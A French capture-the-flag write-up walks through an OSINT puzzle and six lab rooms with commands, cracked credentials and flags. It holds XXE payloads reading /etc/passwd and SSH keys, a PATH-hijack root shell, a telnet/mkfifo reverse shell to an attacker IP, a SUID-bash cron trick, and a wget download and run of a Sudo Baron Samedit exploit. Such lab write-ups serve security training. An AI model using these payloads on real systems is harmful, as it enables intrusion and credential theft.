Projet de Cybersécurité CTF : Procédures et Flags

Ce document détaille les étapes suivies et les flags découverts pour chaque salle (room) du CTF.

Introduction : Défi HYDRA

L'objectif de cette introduction est de découvrir un mot de passe au format : pays_ville_nom_bâtiment.

Étapes suivies :

1. **Identification du pays et de la ville :**
    a. Faire glisser l'image fournie dans Google Images.
    b. Identifier l'hôtel de ville de Maulette. La ville est donc Maulette.
    c. Le pays est la France.
2. **Identification du maire :**
    a. Consulter le site web de la ville de Maulette.
    b. Dans l'onglet 'Vie Municipale', puis 'Équipe municipale', trouver le nom du maire.
    c. Le maire en 2025 est Stephane GORNES.
3. **Identification du bâtiment :**
    a. Ouvrir Google Maps et rechercher l'hôtel de ville de Maulette.
    b. Utiliser la fonctionnalité pour voir les images d'archives ("voir plus de date").
    c. Choisir l'année 2016.
    d. Zoomer sur le bâtiment pour y voir l'inscription "ecole" (school en anglais).

Réponse : france_maulette_gornes_school

Room : Mustacchio (bootstrap)

Reconnaissance :

- nmap -sV -sC mustacchio.thm
    - Ports ouverts : 22 (SSH), 80 (HTTP), 8765 (HTTP admin).
- curl -I http://mustacchio.thm:8765

Énumération Web :

- dirb http://mustacchio.thm /tmp/common.txt (le chemin de la wordlist peut varier, ex: /usr/share/wordlists/dirb/common.txt) => /custom/ (listage de répertoire activé).
- curl -I http://mustacchio.thm/custom/
- Fichier trouvé : /custom/js/user.bak.
    - Contenu : admin:1868e36a6d2b17d4c2745f1659433a54d4bc5f4b
- Télécharger le fichier : wget http://mustacchio.thm/custom/js/user.bak

Crackage de Hash :

- Hash SHA-1 : 1868e36a6d2b17d4c2745f1659433a54d4bc5f4b.
- Utiliser CrackStation.net : mot de passe bulldog19.
- Identifiants admin : admin:bulldog19.

Exploitation XXE :

- Interface admin : http://mustacchio.thm:8765/. Se connecter avec admin:bulldog19.
- Page /home.php avec un formulaire XML.
- Le code source de la page (ou un fichier lié) révèle /auth/dontforget.bak.
- Payload XXE pour lire /etc/passwd :

```
XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE comment [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<comment>
  <name>Test</name>
  <author>Test</author>
  <com>&xxe;</com>
</comment>
```

    - Utilisateurs barry et joe identifiés.
- Payload XXE pour lire la clé SSH de barry (file:///home/barry/.ssh/id_rsa) :

```
XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE comment [
  <!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa">
]>
<comment>
  <name>Test</name>
  <author>Test</author>
  <com>&xxe;</com>
</comment>
```

- La clé RSA privée chiffrée est récupérée.

Crackage de la clé SSH :

- Convertir la clé pour John the Ripper : python3 ssh2john.py barry_key > barry_key.hash (le chemin vers ssh2john.py peut varier).
- Cracker le hash avec John : john --wordlist=rockyou.txt barry_key.hash.
- Passphrase trouvée : urieljames.

Accès SSH (barry) :

- ssh -i barry_key barry@mustacchio.thm (utiliser la clé privée barry_key).
- Entrer la passphrase : urieljames.

Flag Utilisateur :

- cat user.txt.
- **Flag :** 62d77a4d5f97d47c5aa38b3b2651b831

Élévation de Privilèges (Root) :

1. **Identification du vecteur :**
   a. Rechercher les fichiers SUID : find / -perm -4000 2>/dev/null.
   b. Découverte : /home/joe/live_log (SUID root).
   c. Analyser le binaire : strings /home/joe/live_log.
   d. Commande vulnérable identifiée : tail -f /var/log/nginx/access.log.
2. **Exploitation par PATH Hijacking :**
   a. mkdir /tmp/exploit
   b. echo '#!/bin/bash' > /tmp/exploit/tail
   c. echo '/bin/bash -p' >> /tmp/exploit/tail
   d. chmod +x /tmp/exploit/tail
   e. export PATH=/tmp/exploit:$PATH

f. Exécuter le binaire SUID : /home/joe/live_log.
g. Un shell root est obtenu.

Flag Root :

- cd /root
- cat root.txt
- **Flag :** 3223581420d906c4dd1a5f9b530393a5

Room 1 : Toss a coin

Outils et commandes :

- gobuster dir -u http://10.10.61.213/ -w ~/Downloads/big.txt
    - Répertoires découverts : /img et /t (Status: 301).
    - Répéter Gobuster sur les sous-répertoires.

Chemin découvert :

- http://10.10.61.213/t/o/s/s//a//c/o/i/n/ /t/o//y/o/u/r/ /w/i/t/c/h/e/r//o/h/_/v/a/l/We/ y/_/o/f/_/p/l/e/n/t/y/

Accès SSH :

- L'inspection d'une image (probablement sur la page ci-dessus) révèle des identifiants SSH.
- Identifiants : jaskier: You Have The MostIncredible NeckltsLikeASexyGoose
- Commande SSH : ssh jaskier@[ip_adress]
- Mot de passe : You Have The MostIncredible NeckltsLikeASexyGoose

Flag Utilisateur :

- Après connexion SSH, exécuter cat user.txt.
- **Flag :** EPI{R3Sp3C7_D03sNT_M4k3_h1S70rY}

Accès Root :

- La commande ls -la révèle un script exécutable en tant que root.

Room 2 : Secret of the Maw

Reconnaissance :

- Scan Nmap : Ports 21 (troll), 22 (SSH), 80 (HTTP) ouverts.
- gobuster avec une wordlist medium : /discrete trouvé.

Reverse Shell :

- Malgré un système de fonctions bannies, un reverse shell fonctionne :
  - Commande : TF=$(mktemp -u); mkfifo $TF && telnet <ip_adress_attacker> 9001 0<$TF | sh 1>$TF
  - Sur la machine attaquante, écouter avec : nc -lnvp 9001

Accès Utilisateur (six) :

- Après obtention du reverse shell, naviguer vers /home.
- sudo -l indique que le script /home/six/.musicbox peut être exécuté.
- Commande pour obtenir un shell en tant que six : sudo -u six /home/six/.musicbox
- Ensuite, lire le flag utilisateur : cat user.txt

Flag Utilisateur :

- **Flag :** EPI{I_MuS7_F1nD_@_W4y_0Ut}

Identifiants découverts :

- Mot de passe utilisateur mono : I_MuSt_Stop_Th3_Thin_m4n MDP
- Mot de passe root MySQL : !@m+her00+@db

Élévation de Privilèges (Root) :

- Méthode : Privilège escalation via Docker.

Flag Root :

- **Flag :** EPI{Th3_Th1N_M4n_1S_C0m1Ng}

Room 3 : Yer a wizard

Reconnaissance et Accès FTP :

- Scan Nmap : Découverte d'un serveur FTP.
- Utiliser FileZilla3 pour se connecter au serveur FTP.
- Fichiers découverts :
    - .hidden dans le répertoire /.
    - .reallyhidden dans le répertoire ... (probablement le répertoire parent).
- Télécharger les fichiers en les glissant du panneau distant vers le panneau local dans FileZilla.

Identifiants SSH (hagrid) :

- Contenu de .hidden : hagrid (nom d'utilisateur).
- Contenu de .reallyhidden : IAlready Said TooMuch (mot de passe).
- Commande SSH : ssh hagrid@[IP_ADRESS]
- Mot de passe : IAlready Said TooMuch

Flag Utilisateur (hagrid) :

- Dans le répertoire personnel de hagrid, trouver user.txt.
- Contenu :

```
VWxaQ1NtVjZRbIZOTVRseVdWVTFabUpxVGpKTk1VcG1ZVWRHVjAweE9IcGlh
a0pXV DFWb1prNVVRa1JUZWtvNVEyYzIQUT09
```

- Il s'agit d'une chaîne encodée en Base64. Décoder répétitivement jusqu'à obtenir le flag.
- **Flag :** EPI{0n3_kaN_n3v3R_haV3_3n0U9H_50CK2}

Élévation de Privilèges (vers ron, puis dumbledore, puis root) :

1. **Préparation (en tant que hagrid) :**
    a. sudo -l montre que hagrid peut exécuter /sbin/reboot avec les permissions root.
    b. Vérifier les tâches cron : grep -r 'hut.sh' /etc/cron* 2>/dev/null.
    c. Résultat : @reboot ron bash /home/hagrid/hut.sh (Le script hut.sh est exécuté par ron au redémarrage).
    d. Modifier /home/hagrid/hut.sh :

```
#!/bin/bash
cp /bin/bash /tmp/ronshell
chmod +s /tmp/ronshell
```

(Utiliser echo '#!/bin/bash' > /home/hagrid/hut.sh, puis echo 'cp /bin/bash /tmp/ronshell' >> /home/hagrid/hut.sh, etc.)

    e. Redémarrer la machine : /sbin/reboot.

2. **Accès en tant que ron :**
    a. Attendre la fin du redémarrage et se reconnecter en SSH en tant que hagrid.
    b. Le fichier /tmp/ronshell doit exister.
    c. Exécuter /tmp/ronshell -p pour obtenir un shell en tant que ron.
3. **Accès en tant que dumbledore :**
    a. Dans le shell de ron, trouver le fichier dumbledore.txt.
    b. Le contenu est une longue chaîne hexadécimale.
    c. Convertir la chaîne hexadécimale en texte. La dernière ligne révélera le mot de passe.
    d. Mot de passe de Dumbledore : ByMerlinBeard!
    e. Passer à l'utilisateur dumbledore : su dumbledore (entrer le mot de passe trouvé).
4. **Préparation pour l'accès root (en tant que dumbledore) :**
    a. Dans le répertoire personnel de dumbledore, lire note.txt. Indique une possibilité d'accès à harry.
    b. Vérifier les droits sudo pour harry : cat /etc/sudoers.d/harry.
    c. Contenu : harry strawgoh = (root) NOPASSWD:/bin/bash. (L'utilisateur harry, peut-être dans le groupe strawgoh, peut exécuter /bin/bash en tant que root sans mot de passe).
5. **Accès Root :**
    a. Les permissions du dossier home de harry permet d'accéder a un fichier en connaissant le path direct. En faisant : ls –l /home/harry/.ssh/id_rsa on peut vérifier que la clé priver ssh de harry est accessible.
    b. Se connecter en SSH en tant que harry : ssh -i /home/harry/.ssh/id_rsa harry@[IP_ADRESS].
    c. Exécuter une commande sudo en tant que strawgoh : sudo –h strawgoh /bin/bash permet de lancer un bash en tant que root sans avoir besoin de mot de passe.
    d. Naviguer vers /root et lire root.txt.
    e. Le contenu est une chaîne :

```
53565a4a52564d324d315648546b56474e6a564455303957533064525
746705353314a5156454e4f537a6448556c4255555531615655395 74d
6b5244576c4e57536c4a5156456b7a5530564d4e544a45527a5255553
064464e45565a5454493354314a5652454d7a556c705156555a425054
303950513d3d
```

    f. Décoder : Hexadécimal -> Base64 -> Base32.

Flag Root :

- **Flag :** EPI{t3H_tRuTh_1T_15_4_834ut1fUL_4nD_t3rr18L3_th1n9}

Room 4 : GrandLine

Reconnaissance :

- Scan Nmap : Ports 22 (SSH), 80 (HTTP), 8081 (HTTP) ouverts.
- Sur le port 8081 :
    - gobuster : Page /forgot découverte.
    - Inspection de la page : Clé API trouvée, permettant d'obtenir le mot de passe administrateur.
    - gobuster : Répertoire /.git trouvé dans /lost.

Récupération de code source via .git :

- Utiliser git-dumper : python3 git-dumper <url_du_git> <dossier_cible>
- Le fichier COMMIT_HEAD (ou l'historique des commits) indique que le dernier commit a supprimé app.py.
- Utiliser git log pour voir le hash du commit précédent (avant la suppression de app.py).
- Restaurer l'ancien commit : git checkout <hash_du_commit>
- Lire le fichier app.py restauré : cat app.py.
    - Révèle l'utilisateur admin et une api_key.

Accès SSH (zoro) :

- Utiliser Postman ou Burp Suite pour faire une requête avec l'API key correcte (probablement pour obtenir le mot de passe de zoro ou un accès direct).
- Commande SSH : ssh zoro@<ip_adress>
- Mot de passe : 1_G07_L0S7_0Nc3_4G41n

Flag Utilisateur :

- **Flag :** EPI{1f_1_91V3_uP_noW_1M_901N9_70_r39R37_17}

Élévation de Privilèges (Root) :

- sudo -l indique que /usr/bin/wc peut être exécuté en tant que root.
  (L'exploitation typique impliquerait d'utiliser les techniques de GTFOBins pour wc avec Sudo).

Flag Root :

- **Flag :**
  EPI{r_W3_Phri3nD2_OR_ph032_7h@_KInd_OF_7Hin9_J00_D3CiD3_J00R531v32]

Room 5 : E-corp

Reconnaissance et Accès Initial :

- gobuster : /imgs/login/notes (Le contexte de cette découverte, comme l'URL de base, n'est pas spécifié).
- Trouver le mot de passe de l'utilisateur elliot par brute force (thème de la série Mr. Robot).
- Se connecter (probablement via une interface web) et naviguer vers /notes.
- Des informations de connexion SSH sont trouvées.

Accès SSH (elliot) :

- ssh elliot@<ip_adress>
- Mot de passe : Im_M1st3r_R0b0T

Flag Utilisateur :

- cat user.txt
- **Flag :** EPI{H3Ll0_Fr13Nd}

Élévation de Privilèges (Root - CVE-2021-3156 Sudo Baron Samedit) :

1. **Préparation :**
    a. Script d'exploitation : exploit_nss.py de https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py.
    b. Sur la machine attaquante, démarrer un serveur Python : python3 -m http.server 8000.
2. **Exécution sur la machine victime (en tant qu'elliot) :**
    a. Naviguer vers un répertoire accessible en écriture (ex: /tmp).
    b. Télécharger le script : wget http://<ip_attack>:8000/exploit_nss.py.
    c. Rendre le script exécutable : chmod +x /tmp/exploit_nss.py.
    d. Exécuter le script : python3 /tmp/exploit_nss.py.
    e. Un shell root est obtenu.

Flag Root :

- Naviguer vers /root et lire root.txt.
- **Flag :** EPI{COnTrOL_Is_4N_Il7uS10n}